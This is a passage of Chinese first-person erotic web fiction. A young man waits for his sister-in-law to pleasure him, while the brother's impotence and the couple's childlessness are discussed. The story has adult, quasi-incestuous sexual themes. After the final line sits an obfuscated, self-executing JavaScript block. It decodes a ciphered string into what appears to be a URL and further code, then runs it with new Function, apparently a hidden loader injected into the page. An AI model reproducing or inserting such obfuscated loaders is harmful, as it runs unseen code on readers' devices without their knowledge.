“是啊,我说过,放心,嫂子这一次一定说话算数。”
听到嫂子这样说,我顿时激动不已。
这玩意儿,自己搞和别人帮你搞,感觉可是完全不一样的。
嫂子的玉手又滑又嫩,我特别想真切地感受一下。
但是嫂子说,“不过现在不行,得等一会儿。”
我连连点头。
因为我知道,嫂子是怕我哥突然回来。
其实我也害怕。
我对嫂子说,“那我先回房间了,一会儿你来找我。”
“行,去吧。”
我和嫂子告别后,就回了房间。
并迅速把自己脱了个精光,只剩下一条大裤衩。
然后躺在床上,满心期待地等着嫂子一会进来帮我。
这可是我人生中第一次有女人帮忙。
我激动得不得了。
过了一会儿,我听到外面有开门的声音。
是我哥回来了。
嫂子问我哥吃不吃饭?
我哥说他在外面吃过了。
嫂子就拉着我哥说,“你跟我进来,我有话跟你说。”
然后,就听到了他们的房间门被关上的声音。
我心里好奇不已,不知道嫂子跟我哥要说什么呢?
我就把耳朵贴在墙上,想偷听一下。
但是什么也听不到。
我只好放弃偷听,重新躺回床上。
结果没一会儿,我就听到隔壁传来乒乒乓乓的声音。
然后,房门被推开,我哥朝我这边跑了过来。
我的房门直接被我哥推开。
吓得我赶紧拿过被子盖在身上。
要是让我哥看到我下面的样子,那得多尴尬呀。
“哥,你、你这是干什么呢?”我心虚不已,总感觉对不起我哥。
我哥朝我走了过来,说,“二狗,我今晚跟你睡吧。”
“啊?”
跟我睡?
那一会我还怎么让嫂子帮我呀?
我可是满心期待着这一刻呀,结果我哥却要跟我睡。
我心里的苦简直难以言喻。
就在我苦不堪言的时候,我嫂子也追了过来,“陈卫东,你赶紧给我回房间去。”
“小雅,我这两天真的太累了,晚上睡觉老是打呼噜,把你吵得也睡不好。”
“我就跟二狗睡,你自己一个人睡,这样,你也能休息好。”
嫂子双手叉腰,气呼呼地说,“你少给我在这装蒜了,你就是怕我索取,而你自己又不能满足我,所以你就故意躲起来,是不是?”
我哥连忙冲嫂子冲出噤声的手势,示意我还在这里呢,让我嫂子收敛一点。
但嫂子根本就不怕,还是很大声地说,“怕什么?二狗都是成年人了,他什么不知道呀?”
“我再说一遍,给我回房间去。”
嫂子的气势实在是太强大了。
我哥终究是坳不过她,只好乖乖回了房间。
但是想到白天的两次失败,我哥就一点斗志也没有。
即使被我嫂子强行推倒,也还是起不来。
嫂子这一次倒没有责怪我哥,而是趴在我哥胸口,耐着性子说,“实在不行,咱们上医院看看吧。”
“我不去。”我哥非常抗拒地说。
嫂子有点生气,“为什么不去?嫌丢人?”
“不是,是我的身体根本就没有问题,我就是最近太累了,才会这样的。”
我可死要面子,嘴硬地说。
嫂子一把揪住他的耳朵,“你累又不是一天两天的事情了,怎么以前没见你像现在这样呀?”
“刚结婚那会,你一天来七八次都没问题,而且经常忙到半夜两三点才回来,一回来就跟什么一样,非要来一下才能睡着。”
“可是你看看你现在,我各种方法都用尽了,你那玩意儿还软得跟面条一样,你还不肯承认是自己的问题?”
嫂子越说越来气,最后竟然委屈地哭了。
刚结婚那会,她说要孩子,但我哥说公司的发展不稳定,暂时还不能要。
嫂子听了我哥的话,事后一直有吃避孕药。
这两年,我哥的公司慢慢稳定下来了,嫂子重新提起了要孩子的事情。
可是我哥的身体却不给力啊。
嫂子感觉只有自己一个人在努力,可是,这生孩子也不是她一个人的事情呀。
她怎么可能不委屈呢?
看到嫂子哭了,我哥连忙坐了起来。
“小雅,你别哭呀。”
“行,我听你的,改天我跟你去医院检查一下。”
听到我哥这样说,嫂子终于不哭了。
依偎在我哥怀里说,“我也是想尽快给你生个孩子,不然等再过几年,我都30好几了,生孩子也就没那么容易了。”
我哥心疼地抚摸着嫂子的头发,“我知道,我都知道,我们一起努力,一定会有孩子的。”
……
此时的我,不停地看着时间,心想嫂子怎么还不过来?
从九点等到十点,又等到11点。
等的我心急如焚。
终于,十一点十几的时候,我卧室的门被人从外面轻轻推开。
昏暗中,我看到一道丰腴的身影,穿着睡裙,朝我这边走了过来。
“二狗,睡了吗?”嫂子的声音很轻很轻。
我连忙激动地坐起来,“没有,嫂子,我一直等着你呢。”
“你哥刚睡下,我就过来了。怎么样,是不是等的很焦急?”
是啊,等到我心急如焚,还胡思乱想,很怕嫂子不来了。
但我没有这样说,不然我怕嫂子会觉得我不是个好东西,整天打她的主意。
我撒谎说,“还好。”
嫂子在我床边坐下,玉手伸进了我的被窝里。
我顿时激动不已,浑身都绷紧了。
嫂子终于要帮我了。
我闭上眼睛,想好好享受一番。
嫂子的手却落在我的腿上,开始给我按摩。
我心想什么情况?
嫂子难道不是帮我手?
“嫂子,你、你这是干嘛呀?”我心里实在痒得不行,大着胆子问。
嫂子一边给我按摩一边说,“我在帮你用手按摩呀,这不也是用手吗?”
听到这句话,我只觉得五雷轰顶。
整个人都不好了。
嫂子这是又骗了我呀。
她明明知道我不是这个意思。
我实在是心痒难耐,直接一骨碌坐了起来,一把抓住嫂子的手腕。
我大着胆子说,“嫂子,你就别逗我了,你知道我不是这个意思。”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();